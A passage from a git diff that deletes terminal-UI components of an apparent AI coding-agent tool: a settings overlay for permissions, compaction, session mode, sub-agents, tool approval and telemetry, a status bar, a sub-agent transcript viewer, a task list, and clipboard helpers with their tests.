STACK_FORM_COLUMNS, fitTrailingText, formContentWidth } from "./form-reflow.js"; - -export type CompactionMode = "llm" | "pruning"; - -export type SettingsOverlayProps = { - permissionEntries: ScopedApproval[]; - onRevokePermission: (entry: ScopedApproval) => void; - compactionMode: CompactionMode; - onChangeCompactionMode: (mode: CompactionMode) => void; - maxConcurrentSubAgents: number; - onChangeMaxConcurrentSubAgents: (limit: number) => void; - sessionMode: SessionMode; - savedGlobalSessionMode?: SessionMode; - savedLocalSessionMode?: SessionMode; - onChangeSessionMode: (mode: SessionMode, scope: "global" | "local") => void; - telemetryEnabled: boolean; - onChangeTelemetryEnabled: (enabled: boolean) => void; - /** - * When true (default), freeze each tool's wall-clock budget while its - * permission prompt is open. When false, the budget keeps ticking. - */ - waitForApproval: boolean; - onChangeWaitForApproval: (value: boolean) => void; - onClose: () => void; - maxHeight?: number; -}; - -const TABS = ["Permissions", "Compaction", "Session", "Sub-agents", "Tools", "Telemetry"] as const; -type Tab = (typeof TABS)[number]; - -const COMPACTION_OPTIONS: { value: CompactionMode; label: string; description: string }[] = [ - { - value: "llm", - label: "Summarize", - description: - "At ~60% of the context window, makes a lightweight LLM call to produce a structured handoff " + - "(goal, active tasks, key files, decisions, next steps), then replaces the older turns with that text. " + - "The next turn picks up from the summary rather than the raw history.", - }, - { - value: "pruning", - label: "Drop", - description: - "At ~60% of the context window, older turns are deleted and replaced with a one-paragraph note " + - "listing how many turns were removed, which tools were called, and the last user message. " + - "No inference call — use when conversation history is not load-bearing.", - }, -]; - -const SCOPE_LABEL: Record = { - session: "This session", - project: "This project", - global: "Global", - "provider-model": "Provider / model", -}; - -const SCOPE_ORDER: GrantScope[] = ["session", "project", "global", "provider-model"]; - -function orderEntries(entries: ScopedApproval[]): ScopedApproval[] { - return SCOPE_ORDER.flatMap((scope) => entries.filter((e) => e.scope === scope)); -} - -function entryLabel(entry: ScopedApproval): string { - const suffix = entry.providerModel !== undefined ? ` (${entry.providerModel})` : ""; - return `${entry.tool} ${entry.pattern}${suffix}`; -} - -function TabBar({ - activeTab, - onSwitch, - stack, -}: { - activeTab: Tab; - onSwitch: (t: Tab) => void; - stack: boolean; -}): ReactNode { - return ( - - - {TABS.map((tab) => { - const isActive = tab === activeTab; - return ( - - {tab} - - ); - })} - - {stack ? "Tab to switch" : " Tab to switch sections"} - - ); -} - -function PermissionsTab({ - entries, - onRevoke, - maxRows, - contentWidth, -}: { - entries: ScopedApproval[]; - onRevoke: (entry: ScopedApproval) => void; - maxRows?: number | undefined; - contentWidth: number; -}): ReactNode { - const ordered = orderEntries(entries); - const [selected, setSelected] = useState(0); - const active = ordered.length > 0 ? Math.min(selected, ordered.length - 1) : 0; - - const scrollOffset = - maxRows !== undefined && maxRows < ordered.length - ? Math.max(0, Math.min(active - Math.floor(maxRows / 2), ordered.length - maxRows)) - : 0; - const visible = maxRows !== undefined ? ordered.slice(scrollOffset, scrollOffset + maxRows) : ordered; - - useInput((_input, key) => { - if (ordered.length === 0) return; - if (key.upArrow) { - setSelected((s) => (s > 0 ? s - 1 : ordered.length - 1)); - } else if (key.downArrow) { - setSelected((s) => (s < ordered.length - 1 ? s + 1 : 0)); - } else if (_input === "d" || key.delete || key.backspace) { - const target = ordered[active]; - if (target !== undefined) { - setSelected(0); - onRevoke(target); - } - } - }); - - if (ordered.length === 0) { - return ( - - No remembered approvals. Grants you accept will appear here. - - ); - } - - return ( - - {SCOPE_ORDER.map((scope) => { - const scoped = visible.filter((e) => e.scope === scope); - if (scoped.length === 0) return null; - return ( - - {SCOPE_LABEL[scope]} - {scoped.map((entry) => { - const globalIndex = ordered.indexOf(entry); - const isActive = globalIndex === active; - return ( - - - {isActive ? "› " : " "} - - - {fitTrailingText(entryLabel(entry), Math.max(8, contentWidth - 4))} - - - ); - })} - - ); - })} - - ↑↓ navigate · d revoke - - - ); -} - -function CompactionTab({ - current, - onChange, -}: { - current: CompactionMode; - onChange: (mode: CompactionMode) => void; -}): ReactNode { - const currentIndex = COMPACTION_OPTIONS.findIndex((o) => o.value === current); - const [selected, setSelected] = useState(currentIndex >= 0 ? currentIndex : 0); - - useInput((_input, key) => { - if (key.upArrow) { - setSelected((s) => (s > 0 ? s - 1 : COMPACTION_OPTIONS.length - 1)); - } else if (key.downArrow) { - setSelected((s) => (s < COMPACTION_OPTIONS.length - 1 ? s + 1 : 0)); - } else if (key.return || _input === " ") { - const opt = COMPACTION_OPTIONS[selected]; - if (opt !== undefined) onChange(opt.value); - } - }); - - return ( - - Compaction strategy - Applied when context fills — takes effect on the next /clear. - - {COMPACTION_OPTIONS.map((opt, index) => { - const isSelected = index === selected; - const isActive = opt.value === current; - return ( - - - - {isSelected ? "› " : " "} - - - {opt.label} - - {isActive && {" "}(active)} - - - {opt.description} - - - ); - })} - - ↑↓ navigate · Enter or Space to select - - ); -} - -const SESSION_MODE_LABEL: Record = { - single: "Single agent", - orchestrator: "Orchestrator", -}; - -function SessionModeTab({ - current, - savedGlobal, - savedLocal, - onChange, -}: { - current: SessionMode; - savedGlobal?: SessionMode; - savedLocal?: SessionMode; - onChange: (mode: SessionMode, scope: "global" | "local") => void; -}): ReactNode { - const currentIndex = SESSION_MODES.indexOf(current); - const [selected, setSelected] = useState(currentIndex >= 0 ? currentIndex : 0); - const [scope, setScope] = useState<"global" | "local">("global"); - - useInput((_input, key) => { - if (key.upArrow) { - setSelected((s) => (s > 0 ? s - 1 : SESSION_MODES.length - 1)); - } else if (key.downArrow) { - setSelected((s) => (s < SESSION_MODES.length - 1 ? s + 1 : 0)); - } else if (_input === "g") setScope("global"); - else if (_input === "l") setScope("local"); - else if (key.return || _input === " ") { - const mode = SESSION_MODES[selected]; - if (mode !== undefined) onChange(mode, scope); - } - }); - - return ( - - - Session mode - - - Single: one agent does the work. Orchestrator: delegates via task. Per-repo override saves to - .corbits/settings.json (l); global saves to ~/.corbits/settings.json (g). Takes effect on next - session start. - - - - Save target: {scope === "global" ? "global (g)" : "this project (l)"} - - - - {SESSION_MODES.map((mode, index) => { - const isSelected = index === selected; - const isActive = mode === current; - const savedForScope = scope === "global" ? savedGlobal : savedLocal; - const isSaved = savedForScope !== undefined && mode === savedForScope; - return ( - - - {isSelected ? "› " : " "} - - - {SESSION_MODE_LABEL[mode]} - - {isActive && (active this session)} - {!isActive && isSaved && ( - (saved — next session) - )} - - ); - })} - - ↑↓ navigate · Enter select · g global · l local - - ); -} - -function SubAgentsTab({ - current, - onChange, - sessionMode, -}: { - current: number; - onChange: (limit: number) => void; - sessionMode: SessionMode; -}): ReactNode { - useInput((_input) => { - if (sessionMode === "single") return; - if (_input === "+" || _input === "=") onChange(current + 1); - else if (_input === "-" || _input === "_") onChange(Math.max(0, current - 1)); - }); - - if (sessionMode === "single") { - return ( - - - Sub-agent concurrency applies only in orchestrator mode. Switch session mode on the Session tab. - - - ); - } - - return ( - - - Concurrent sub-agents - - - Maximum task-tool workers running at once (each has its own LSP and context store). Takes effect - immediately; also saved to ~/.corbits/settings.json. - - - - Limit: {current} - {current === 0 ? " (sub-agents disabled)" : ""} - - - + / − to adjust (0 disables sub-agents) - - ); -} - -const WAIT_FOR_APPROVAL_OPTIONS: { value: boolean; label: string; description: string }[] = [ - { - value: true, - label: "On (default)", - description: - "While a permission prompt is open, freeze that tool's wall-clock budget so a late approve " + - "still runs the tool. The agent waits for your decision instead of timing out under the modal.", - }, - { - value: false, - label: "Off", - description: - "The tool budget keeps ticking during the permission prompt. If it expires first, the tool is " + - "skipped and the prompt is dismissed automatically.", - }, -]; - -function ToolsTab({ - waitForApproval, - onChangeWaitForApproval, -}: { - waitForApproval: boolean; - onChangeWaitForApproval: (value: boolean) => void; -}): ReactNode { - const currentIndex = WAIT_FOR_APPROVAL_OPTIONS.findIndex((o) => o.value === waitForApproval); - const [selected, setSelected] = useState(currentIndex >= 0 ? currentIndex : 0); - - useInput((_input, key) => { - if (key.upArrow) { - setSelected((s) => (s > 0 ? s - 1 : WAIT_FOR_APPROVAL_OPTIONS.length - 1)); - } else if (key.downArrow) { - setSelected((s) => (s < WAIT_FOR_APPROVAL_OPTIONS.length - 1 ? s + 1 : 0)); - } else if (key.return || _input === " ") { - const opt = WAIT_FOR_APPROVAL_OPTIONS[selected]; - if (opt !== undefined) onChangeWaitForApproval(opt.value); - } - }); - - return ( - - - Wait for approval - - - Controls whether a parked permission prompt counts against the per-tool timeout. Takes effect - on the next tool call; also saved to ~/.corbits/settings.json. - - - {WAIT_FOR_APPROVAL_OPTIONS.map((opt, index) => { - const isSelected = index === selected; - const isActive = opt.value === waitForApproval; - return ( - - - - {isSelected ? "› " : " "} - - - {opt.label} - - {isActive && {" "}(active)} - - - {opt.description} - - - ); - })} - - ↑↓ navigate · Enter or Space to select - - ); -} - -const TELEMETRY_OPTIONS: { value: boolean; label: string; description: string }[] = [ - { - value: true, - label: "On", - description: - "Sends a small amount of anonymous usage telemetry to PostHog (session outcomes, model/provider " + - "identifiers, token counts). Never includes prompts, code, file contents, or paths. See docs/TELEMETRY.md.", - }, - { - value: false, - label: "Off", - description: "No telemetry is sent.", - }, -]; - -function TelemetryTab({ - current, - onChange, -}: { - current: boolean; - onChange: (enabled: boolean) => void; -}): ReactNode { - const currentIndex = TELEMETRY_OPTIONS.findIndex((o) => o.value === current); - const [selected, setSelected] = useState(currentIndex >= 0 ? currentIndex : 0); - - useInput((_input, key) => { - if (key.upArrow) { - setSelected((s) => (s > 0 ? s - 1 : TELEMETRY_OPTIONS.length - 1)); - } else if (key.downArrow) { - setSelected((s) => (s < TELEMETRY_OPTIONS.length - 1 ? s + 1 : 0)); - } else if (key.return || _input === " ") { - const opt = TELEMETRY_OPTIONS[selected]; - if (opt !== undefined) onChange(opt.value); - } - }); - - return ( - - Anonymous usage telemetry - Takes effect immediately, for the rest of this session and future ones. - - {TELEMETRY_OPTIONS.map((opt, index) => { - const isSelected = index === selected; - const isActive = opt.value === current; - return ( - - - - {isSelected ? "› " : " "} - - - {opt.label} - - {isActive && {" "}(active)} - - - {opt.description} - - - ); - })} - - ↑↓ navigate · Enter or Space to select - - ); -} - -const FIXED_CHROME = 8; - -export function SettingsOverlay({ - permissionEntries, - onRevokePermission, - compactionMode, - onChangeCompactionMode, - maxConcurrentSubAgents, - onChangeMaxConcurrentSubAgents, - sessionMode, - savedGlobalSessionMode, - savedLocalSessionMode, - onChangeSessionMode, - telemetryEnabled, - onChangeTelemetryEnabled, - waitForApproval, - onChangeWaitForApproval, - onClose, - maxHeight, -}: SettingsOverlayProps): ReactNode { - const [activeTab, setActiveTab] = useState("Permissions"); - const { columns } = useTerminalSize(); - const stack = columns < STACK_FORM_COLUMNS; - const contentWidth = formContentWidth(columns, stack); - - const contentRows = maxHeight !== undefined ? Math.max(4, maxHeight - FIXED_CHROME) : undefined; - - useInput((_input, key) => { - if (key.escape) { - onClose(); - return; - } - if (key.tab) { - setActiveTab((t) => { - const index = TABS.indexOf(t); - return TABS[(index + 1) % TABS.length] ?? t; - }); - } - }); - - return ( - - Settings - - {activeTab === "Permissions" && ( - - )} - {activeTab === "Compaction" && ( - - )} - {activeTab === "Session" && ( - - )} - {activeTab === "Sub-agents" && ( - - )} - {activeTab === "Tools" && ( - - )} - {activeTab === "Telemetry" && ( - - )} - - Esc to close - - - ); -} diff --git a/src/tui/components/status-bar.tsx b/src/tui/components/status-bar.tsx deleted file mode 100644 index 565d26995..000000000 --- a/src/tui/components/status-bar.tsx +++ /dev/null @@ -1,245 +0,0 @@ -import { homedir } from "node:os"; -import { Box, Text } from "ink"; -import type { ReactNode } from "react"; -import { - COMPACTION_WINDOW_FRACTION, - CONTEXT_METER_DANGER_FRACTION, -} from "../../provider/context-window.js"; -import { color, type SemanticRole } from "../theme.js"; -import { PRODUCT_NAME } from "../../branding.js"; - -export type StatusBarProps = { - // Label for completed sub-agent timing (e.g. "agents 2m 14s"). Replaces the - // whole-session wall clock which was noise for long sessions. - completedAgentsLabel?: string; - mcpCount: number; - // Pre-formatted by src/cost/cost-summary.ts; omitted entirely when cost - // should stay hidden (free model, coding plan) rather than shown as $0. - costLabel?: string; - contextLabel?: string; - // Integer 0–100 occupancy of the model window, or null when unknown. - // Drives the context meter's normal → warning → danger color thresholds. - contextPercentUsed?: number | null; - model?: string; - cwd?: string; - gitBranch?: string | null; - // Available terminal columns, used to drop/truncate low-priority segments - // (model/cwd/branch, then cost/context) before running out of room. - columns?: number; - // Optional subscription usage (e.g. OpenCode Go). Dropped before cost when - // the terminal is narrow; omitted entirely when unavailable/failed. - subscriptionLabel?: string; -}; - -// Color thresholds for the context-usage meter, tied to the same fractions -// compaction and near-overflow use: muted below compaction, warning from the -// compaction point, danger when the window is nearly full. -export type ContextMeterTone = "normal" | "warning" | "danger"; - -export function contextMeterTone(percentUsed: number | null | undefined): ContextMeterTone { - if (percentUsed == null) return "normal"; - if (percentUsed >= Math.round(CONTEXT_METER_DANGER_FRACTION * 100)) return "danger"; - if (percentUsed >= Math.round(COMPACTION_WINDOW_FRACTION * 100)) return "warning"; - return "normal"; -} - -function contextMeterRole(tone: ContextMeterTone): SemanticRole { - if (tone === "danger") return "danger"; - if (tone === "warning") return "warning"; - return "muted"; -} - -const BRAND = PRODUCT_NAME; - -export function abbreviateHome(path: string): string { - const home = homedir(); - if (path === home) return "~"; - return path.startsWith(`${home}/`) ? `~${path.slice(home.length)}` : path; -} - -export function truncateMiddle(text: string, maxLength: number): string { - if (text.length <= maxLength || maxLength <= 1) return text.slice(0, Math.max(0, maxLength)); - const keep = maxLength - 1; - const head = Math.ceil(keep / 2); - const tail = Math.floor(keep / 2); - return `${text.slice(0, head)}…${text.slice(text.length - tail)}`; -} - -// Width model for the status bar's Ink layout (Box paddingX={1} gap={1}): -// two columns of horizontal padding, plus one gap column between each pair -// of adjacent children — including the zero-width flex spacer that pushes -// the MCP segment to the right. Segment text is assumed to occupy one -// terminal column per character; every segment rendered here is ASCII plus -// single-width glyphs ("·", "…", "✓"). Keep this in sync with the JSX below. -const PADDING_COLUMNS = 2; -const GAP_COLUMNS = 1; -const SEPARATOR = " · "; -// Below this many columns a middle-truncated cwd is all ellipsis and noise; -// drop the whole model/cwd/branch segment instead. -const MIN_TRUNCATED_CWD = 5; - -export type StatusBarLayoutArgs = { - columns: number; - agentsText?: string; - mcpText?: string; - model?: string; - // Already home-abbreviated. - cwd?: string; - gitBranch?: string; - costLabel?: string; - contextLabel?: string; - subscriptionLabel?: string; -}; - -export type StatusBarLayout = { - modelCwdBranchText?: string; - showCost: boolean; - showContext: boolean; - showSubscription: boolean; -}; - -function usedColumns(segments: (string | undefined)[]): number { - const visible = segments.filter((s): s is string => s !== undefined); - const flexSpacer = 1; - const gapCount = visible.length + flexSpacer - 1; - const textColumns = visible.reduce((total, s) => total + s.length, 0); - return PADDING_COLUMNS + textColumns + GAP_COLUMNS * gapCount; -} - -function joinModelCwdBranch(model?: string, cwd?: string, gitBranch?: string): string | undefined { - const parts = [model, cwd, gitBranch].filter( - (part): part is string => part !== undefined && part.length > 0, - ); - return parts.length > 0 ? parts.join(SEPARATOR) : undefined; -} - -// Decides which low-priority segments fit in the terminal width. Priority -// (highest to lowest, dropped first when narrow): brand+timer > MCP > -// model/cwd/branch > subscription > cost > context. Only the cwd part is -// truncated — model and branch names stay intact; if the cwd cannot absorb -// the overflow the whole model/cwd/branch segment is dropped. -export function planStatusBarLayout(args: StatusBarLayoutArgs): StatusBarLayout { - let cwd = args.cwd; - let segment = joinModelCwdBranch(args.model, cwd, args.gitBranch); - let showSubscription = args.subscriptionLabel !== undefined; - let showCost = args.costLabel !== undefined; - let showContext = args.contextLabel !== undefined; - - const overflow = () => - usedColumns([ - BRAND, - args.agentsText, - segment, - showSubscription ? args.subscriptionLabel : undefined, - showCost ? args.costLabel : undefined, - showContext ? args.contextLabel : undefined, - args.mcpText, - ]) - args.columns; - - if (overflow() > 0 && showContext) showContext = false; - if (overflow() > 0 && showCost) showCost = false; - if (overflow() > 0 && showSubscription) showSubscription = false; - if (overflow() > 0 && segment !== undefined) { - const cwdBudget = cwd !== undefined ? cwd.length - overflow() : 0; - if (cwd !== undefined && cwdBudget >= MIN_TRUNCATED_CWD) { - cwd = truncateMiddle(cwd, cwdBudget); - segment = joinModelCwdBranch(args.model, cwd, args.gitBranch); - } else { - segment = undefined; - } - } - - return { - ...(segment !== undefined ? { modelCwdBranchText: segment } : {}), - showSubscription, - showCost, - showContext, - }; -} - -export { formatElapsed } from "./in-flight-indicator.js"; -import { formatElapsed } from "./in-flight-indicator.js"; - -// Slim footer: brand anchors the bottom-left; completed sub-agent timing sits -// beside it when any worker has finished this session. MCP health sits on the -// right. The per-turn timer lives on the in-flight indicator above the prompt -// box, not here. -// -// Segment priority (highest to lowest, dropped first when the terminal is -// narrow): brand+agents > model/cwd/branch > cost/context. cwd is truncated -// with a middle ellipsis before the model/cwd/branch segment is dropped -// entirely. -export function StatusBar({ - completedAgentsLabel, - mcpCount, - costLabel, - contextLabel, - contextPercentUsed, - model, - cwd, - gitBranch, - columns, - subscriptionLabel, -}: StatusBarProps): ReactNode { - const agentsText = - completedAgentsLabel !== undefined && completedAgentsLabel.length > 0 - ? completedAgentsLabel - : undefined; - const mcpText = mcpCount > 0 ? `MCP ✓ ${mcpCount}` : undefined; - const { modelCwdBranchText, showCost, showContext, showSubscription } = planStatusBarLayout({ - columns: columns ?? 120, - ...(agentsText !== undefined ? { agentsText } : {}), - ...(mcpText !== undefined ? { mcpText } : {}), - ...(model !== undefined ? { model } : {}), - ...(cwd !== undefined ? { cwd: abbreviateHome(cwd) } : {}), - ...(gitBranch != null ? { gitBranch } : {}), - ...(costLabel !== undefined ? { costLabel } : {}), - ...(contextLabel !== undefined ? { contextLabel } : {}), - ...(subscriptionLabel !== undefined ? { subscriptionLabel } : {}), - }); - const meterTone = contextMeterTone(contextPercentUsed); - const meterRole = contextMeterRole(meterTone); - // Warning/danger should read clearly; normal stays dim with the rest of the footer. - const meterDim = meterTone === "normal"; - - return ( - - {BRAND} - {agentsText !== undefined && ( - {agentsText} - )} - {modelCwdBranchText !== undefined && ( - {modelCwdBranchText} - )} - {showSubscription && subscriptionLabel !== undefined && ( - {subscriptionLabel} - )} - {showCost && costLabel !== undefined && ( - {costLabel} - )} - {showContext && contextLabel !== undefined && ( - {contextLabel} - )} - - {mcpText !== undefined && ( - {mcpText} - )} - - ); -} - -/** Sum of finished agent wall times (not multi-agent phase wall clock) as a compact status-bar label. */ -export function formatCompletedAgentsLabel( - sessions: ReadonlyArray<{ status: string; startedAt: number; finishedAt?: number }>, -): string | undefined { - let totalMs = 0; - let count = 0; - for (const s of sessions) { - if (s.status !== "done" && s.status !== "failed" && s.status !== "cancelled") continue; - if (s.finishedAt === undefined || s.finishedAt < s.startedAt) continue; - totalMs += s.finishedAt - s.startedAt; - count += 1; - } - if (count === 0) return undefined; - return `agents ${formatElapsed(totalMs)}`; -} diff --git a/src/tui/components/subagent-session-view.test.ts b/src/tui/components/subagent-session-view.test.ts deleted file mode 100644 index b410f6638..000000000 --- a/src/tui/components/subagent-session-view.test.ts +++ /dev/null @@ -1,42 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { renderTranscriptLines } from "./subagent-session-view.js"; -import type { SubAgentTranscriptEntry } from "../../subagent/session-store.js"; - -describe("renderTranscriptLines", () => { - test("formats text, tools, results, and report entries", () => { - const entries: SubAgentTranscriptEntry[] = [ - { kind: "text", content: "Hello" }, - { kind: "tool", callId: "c1", name: "grep", arguments: '{"pattern":"foo"}' }, - { - kind: "tool_result", - callId: "c1", - name: "grep", - content: "match", - isError: false, - }, - { kind: "report", content: "## Summary\nDone." }, - ]; - const lines = renderTranscriptLines(entries, 80); - expect(lines.some((l) => l.text === "Hello")).toBe(true); - expect(lines.some((l) => l.text.startsWith("▸ grep"))).toBe(true); - expect(lines.some((l) => l.text.includes("match"))).toBe(true); - expect(lines.some((l) => l.text === "── report ──")).toBe(true); - expect(lines.some((l) => l.text.includes("## Summary"))).toBe(true); - }); - - test("marks error tool results", () => { - const lines = renderTranscriptLines( - [ - { - kind: "tool_result", - callId: "c1", - name: "run_shell", - content: "boom", - isError: true, - }, - ], - 40, - ); - expect(lines[0]?.text).toContain("boom"); - }); -}); diff --git a/src/tui/components/subagent-session-view.tsx b/src/tui/components/subagent-session-view.tsx deleted file mode 100644 index 616b44341..000000000 --- a/src/tui/components/subagent-session-view.tsx +++ /dev/null @@ -1,154 +0,0 @@ -import { Box, Text } from "ink"; -import type { ReactNode } from "react"; -import type { - SubAgentSession, - SubAgentTranscriptEntry, -} from "../../subagent/session-store.js"; -import { color } from "../theme.js"; -import { formatSessionLabel } from "./agents-strip.js"; - -export type SubAgentSessionViewProps = { - session: SubAgentSession; - // Total rows the view occupies; the transcript viewport is what remains after - // the header block. - visibleRows: number; - width: number; - // Top line of the transcript window (0 = top, maxOffset = pinned to newest). - scrollOffset: number; -}; - -// Rows the header block (title, label, status, margin) reserves above the -// transcript viewport. -export const SUBAGENT_VIEW_HEADER_ROWS = 3; - -export function subAgentTranscriptWidth(width: number): number { - return Math.max(20, width - 2); -} - -// Resolve the transcript slice for a given scroll offset. Mirrors the event-log -// window convention: offset is a clamped top-line index, maxOffset pins newest. -export function subAgentScrollWindow( - lineCount: number, - visibleRows: number, - scrollOffset: number, -): { start: number; viewport: number; maxOffset: number } { - const viewport = Math.max(1, visibleRows - SUBAGENT_VIEW_HEADER_ROWS); - const maxOffset = Math.max(0, lineCount - viewport); - const start = Math.min(Math.max(0, scrollOffset), maxOffset); - return { start, viewport, maxOffset }; -} - -// Read-only observe view for a child agent session. Parent reactor keeps running; -// this is focus/chrome only — no message injection into the child. -export function SubAgentSessionView({ - session, - visibleRows, - width, - scrollOffset, -}: SubAgentSessionViewProps): ReactNode { - const lines = renderTranscriptLines(session.entries, subAgentTranscriptWidth(width)); - const { start, viewport } = subAgentScrollWindow(lines.length, visibleRows, scrollOffset); - const visible = lines.slice(start, start + viewport); - - return ( - - - - Viewing sub-agent · esc return · x cancel - - {formatSessionLabel(session)} - - status {session.status} - {session.currentToolName !== null ? ` · ${session.currentToolName}` : ""} - {session.error !== undefined ? ` · ${session.error}` : ""} - - - {visible.length === 0 ? ( - - {session.status === "running" ? "Waiting for activity…" : "No transcript entries."} - - ) : ( - visible.map((line, i) => ( - - {line.text} - - )) - )} - - ); -} - -export type TranscriptLine = { - text: string; - color?: string; - dim?: boolean; -}; - -export function renderTranscriptLines( - entries: readonly SubAgentTranscriptEntry[], - width: number, -): TranscriptLine[] { - const out: TranscriptLine[] = []; - for (const entry of entries) { - switch (entry.kind) { - case "text": - for (const part of wrapText(entry.content, width)) { - out.push({ text: part, color: color("text") }); - } - break; - case "thinking": - for (const part of wrapText(entry.content, width)) { - out.push({ text: part, color: color("muted"), dim: true }); - } - break; - case "tool": { - const args = entry.arguments.length > 80 ? `${entry.arguments.slice(0, 77)}…` : entry.arguments; - out.push({ - text: `▸ ${entry.name}${args.length > 0 ? ` ${args}` : ""}`, - color: color("accent"), - }); - break; - } - case "tool_result": { - const preview = entry.content.replace(/\s+/g, " ").trim(); - const clipped = preview.length > width - 4 ? `${preview.slice(0, Math.max(0, width - 5))}…` : preview; - out.push({ - text: ` ↳ ${clipped}`, - color: entry.isError ? color("danger") : color("muted"), - dim: !entry.isError, - }); - break; - } - case "report": - out.push({ text: "── report ──", color: color("accent"), dim: true }); - for (const part of wrapText(entry.content, width)) { - out.push({ text: part, color: color("text") }); - } - break; - } - } - return out; -} - -function wrapText(text: string, width: number): string[] { - if (width <= 1) return [text]; - const lines: string[] = []; - for (const raw of text.split("\n")) { - if (raw.length === 0) { - lines.push(""); - continue; - } - let rest = raw; - while (rest.length > width) { - lines.push(rest.slice(0, width)); - rest = rest.slice(width); - } - lines.push(rest); - } - return lines; -} diff --git a/src/tui/components/task-view.tsx b/src/tui/components/task-view.tsx deleted file mode 100644 index 24aa792fa..000000000 --- a/src/tui/components/task-view.tsx +++ /dev/null @@ -1,107 +0,0 @@ -import { Box, Text } from "ink"; -import { hasActiveTasks, type Task, type TaskStatus } from "../../agent/tasks.js"; -import { color } from "../theme.js"; - -export type TaskViewProps = { - tasks: Task[]; - compact?: boolean; - title?: string; -}; - -const GLYPH: Record = { - todo: "○", - doing: "●", - done: "✓", - cancelled: "✗", -}; - -/** - * Work/Tasks checklist chrome. - * Rows are width-constrained so long titles truncate after the status glyph - * instead of colliding with the header (`Work 03/11`) or neighboring lines. - */ -export function TaskView({ tasks, compact, title = "Tasks" }: TaskViewProps) { - if (!hasActiveTasks(tasks)) return null; - - const sorted = [...tasks].sort(byPriority); - - if (compact) { - const active = sorted.filter((t) => t.status !== "done" && t.status !== "cancelled"); - const doing = active.find((t) => t.status === "doing"); - const current = doing ?? active[0]!; - const remaining = active.length - 1; - - return ( - - - {GLYPH[current.status]} - - - - {current.title} - - - {remaining > 0 && ( - - {`+${remaining}`} - - )} - - ); - } - - const doneCount = sorted.filter((t) => t.status === "done").length; - // Single Text node for the heading so "Work" and "03/11" cannot overprint. - const heading = `${title} ${doneCount}/${sorted.length}`; - - return ( - - - - {heading} - - - {sorted.map((task) => ( - - ))} - - ); -} - -function TaskRow({ task }: { task: Task }) { - const terminal = task.status === "done" || task.status === "cancelled"; - return ( - - - {GLYPH[task.status]} - - - - {task.title} - - - - ); -} - -function byPriority(a: Task, b: Task): number { - const rank: Record = { doing: 0, todo: 1, cancelled: 2, done: 3 }; - return rank[a.status] - rank[b.status]; -} - -function statusColor(status: TaskStatus): string { - switch (status) { - case "done": - return color("success"); - case "doing": - return color("text"); - case "cancelled": - return color("danger"); - case "todo": - return color("muted"); - } -} diff --git a/src/tui/copy.test.ts b/src/tui/copy.test.ts deleted file mode 100644 index d3f316858..000000000 --- a/src/tui/copy.test.ts +++ /dev/null @@ -1,38 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { copyTargets, transcriptMarkdown } from "./copy.js"; -import type { ContentBlock } from "./use-stream.js"; - -const blocks: ContentBlock[] = [ - { type: "user", id: "u1", content: "fix the bug" }, - { type: "text", id: "t1", content: "Looking into it." }, - { type: "tool_call", id: "tc1", name: "edit_file", arguments: JSON.stringify({ path: "a.ts", old_string: "x", new_string: "y" }) }, - { type: "tool_result", id: "tr1", callId: "c1", name: "edit_file", content: "Edited a.ts", isError: false }, - { type: "tool_result", id: "tr2", callId: "c2", name: "run_shell", content: "boom", isError: true }, -]; - -describe("copyTargets", () => { - test("surfaces user, assistant, diff, and successful tool output in order", () => { - const targets = copyTargets(blocks); - expect(targets.map((t) => t.label)).toEqual(["your message", "assistant message", "edit diff", "edit_file output"]); - }); - - test("the diff target carries the rendered +/- text", () => { - const diff = copyTargets(blocks).find((t) => t.label === "edit diff"); - expect(diff?.text).toContain("- x"); - expect(diff?.text).toContain("+ y"); - }); - - test("skips errored tool results", () => { - expect(copyTargets(blocks).some((t) => t.text === "boom")).toBe(false); - }); -}); - -describe("transcriptMarkdown", () => { - test("renders roles and fences", () => { - const md = transcriptMarkdown(blocks); - expect(md).toContain("## You"); - expect(md).toContain("## Assistant"); - expect(md).toContain("```diff"); - expect(md).toContain("```error"); - }); -}); diff --git a/src/tui/copy.ts b/src/tui/copy.ts deleted file mode 100644 index ce0e0703e..000000000 --- a/src/tui/copy.ts +++ /dev/null @@ -1,68 +0,0 @@ -import type { ContentBlock } from "./use-stream.js"; -import { editDiffFromArgs, renderDiff } from "./diff.js"; - -// One selectable chunk of the transcript the user can lift to the clipboard. -// `text` is what lands on the clipboard; `preview` is the one-line label shown -// while choosing. -export type CopyTarget = { - id: string; - label: string; - preview: string; - text: string; -}; - -function oneLine(text: string, max = 56): string { - const collapsed = text.replace(/\s+/g, " ").trim(); - return collapsed.length > max ? `${collapsed.slice(0, max - 1)}…` : collapsed; -} - -function diffText(block: Extract): string | null { - const edit = editDiffFromArgs(block.name, block.arguments); - if (edit === null) return null; - // edit_file positions are snippet-relative with no known file offset, so - // its copies omit the line-number gutter; write_file numbers from 1. - return renderDiff(edit.oldText, edit.newText, 120, block.name === "write_file" ? {} : { lineNumbers: false }) - .map((line) => line.map((seg) => seg.text).join("")) - .join("\n"); -} - -// Walk the transcript and surface the blocks worth copying — user prompts, -// assistant prose, tool output, and edit diffs — oldest first so the selector -// index lines up with reading order. -export function copyTargets(blocks: ContentBlock[]): CopyTarget[] { - const targets: CopyTarget[] = []; - for (const block of blocks) { - if (block.type === "user") { - targets.push({ id: block.id, label: "your message", preview: oneLine(block.content), text: block.content }); - } else if (block.type === "text" || block.type === "reply") { - targets.push({ id: block.id, label: "assistant message", preview: oneLine(block.content), text: block.content }); - } else if (block.type === "tool_call") { - const diff = diffText(block); - if (diff !== null) { - targets.push({ id: block.id, label: "edit diff", preview: oneLine(diff), text: diff }); - } - } else if (block.type === "tool_result" && !block.isError) { - targets.push({ id: block.id, label: `${block.name} output`, preview: oneLine(block.content), text: block.content }); - } - } - return targets; -} - -// Render the whole conversation as portable markdown for "copy everything". -export function transcriptMarkdown(blocks: ContentBlock[]): string { - const out: string[] = []; - for (const block of blocks) { - if (block.type === "user") { - out.push(`## You\n\n${block.content}`); - } else if (block.type === "text" || block.type === "reply") { - out.push(`## Assistant\n\n${block.content}`); - } else if (block.type === "tool_call") { - const diff = diffText(block); - out.push(diff !== null ? `### ${block.name}\n\n\`\`\`diff\n${diff}\n\`\`\`` : `### ${block.name}\n\n\`\`\`json\n${block.arguments}\n\`\`\``); - } else if (block.type === "tool_result") { - const fence = block.isError ? "error" : ""; - out.push(`\`\`\`${fence}\n${block.content}\n\`\`\``); - } - } - return out.join("\n\n"); -} diff --git a/src/tui/diff.test.ts b/src/tui/diff.test.ts deleted file mode 100644 index e452d023a..000000000 --- 